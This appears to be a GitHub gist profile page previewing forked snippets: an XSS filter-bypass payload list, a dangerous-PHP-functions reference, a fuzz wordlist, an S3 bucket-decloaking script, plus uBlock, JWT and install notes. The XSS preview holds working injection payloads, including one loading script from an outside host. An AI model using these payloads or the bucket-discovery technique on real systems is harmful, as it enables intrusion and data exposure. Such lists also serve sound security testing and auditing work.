Skip to content

Instantly share code, notes, and snippets.

View EvCuQ4HgGJd74Lhz's full-sized avatar
🎯
Focusing

EvCuQ4HgGJd74Lhz EvCuQ4HgGJd74Lhz

🎯
Focusing
View GitHub Profile
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / ublock
Created October 25, 2023 15:40 — forked from jaydorsey/ublock
uBlock for LinkedIn
# Block things on LinkedIn with uBlock Origin that LinkedIn won't let you block
# Choose "Options" in uBlock Origin with a right-click, and add these to
# "My filters"
# ADDING YOUR OWN FILTERS
#
# Using Linkedin.com as an example
#
# 1. Open up the webpage
# 2. Find some text you want to block
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / xxsfilterbypass.lst
Created May 11, 2023 14:08 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / example.sh
Created May 8, 2023 09:34 — forked from fortuna/example.sh
ClientHello splitting in Bash
# Author: Vinicius Fortuna
# Example practical usage at https://github.com/pypi/support/issues/2751#issuecomment-1535248888
mkfifo in.fifo
nc -l localhost 8443 < in.fifo | { dd bs=100 count=1; sleep 0.1; cat; } | nc files.pythonhosted.org 443 > in.fifo &
time curl --connect-to ::localhost:8443 'https://files.pythonhosted.org/packages/84/a9/2bf119f3f9cff1f376f924e39cfae18dec92a1514784046d185731301281/scipy-1.10.1.tar.gz' > /dev/null
.php
.html
.txt
.htm
.aspx
.asp
.js
.css
.pgsql.txt
.mysql.txt
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / update-golang.md
Created October 21, 2022 12:24 — forked from nikhita/update-golang.md
How to update the Go version

How to update the Go version

System: Debian/Ubuntu/Fedora. Might work for others as well.

1. Uninstall the exisiting version

As mentioned here, to update a go version you will first need to uninstall the original version.

To uninstall, delete the /usr/local/go directory by:

@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / phpdangerousfuncs.md
Created October 19, 2022 11:43 — forked from mccabe615/phpdangerousfuncs.md
Dangerous PHP Functions

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / jwtRS256.sh
Created August 21, 2022 17:09 — forked from ygotthilf/jwtRS256.sh
How to generate JWT RS256 key
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
# Don't add passphrase
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
cat jwtRS256.key
cat jwtRS256.key.pub
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / fuzz.txt
Created June 27, 2022 08:57 — forked from m4ll0k/fuzz.txt
fuzz wordlist
undefined
undef
null
NULL
(null)
nil
NIL
true
false
True
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / 00.howto_install_phantomjs.md
Created May 23, 2022 19:37 — forked from julionc/00.howto_install_phantomjs.md
How to install PhantomJS on Debian/Ubuntu

How to install PhantomJS on Ubuntu

Version: 1.9.8

Platform: x86_64

First, install or update to the latest system software.

sudo apt-get update
sudo apt-get install build-essential chrpath libssl-dev libxft-dev
@EvCuQ4HgGJd74Lhz
EvCuQ4HgGJd74Lhz / bucket-disclose.sh
Created April 18, 2022 10:36 — forked from fransr/bucket-disclose.sh
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"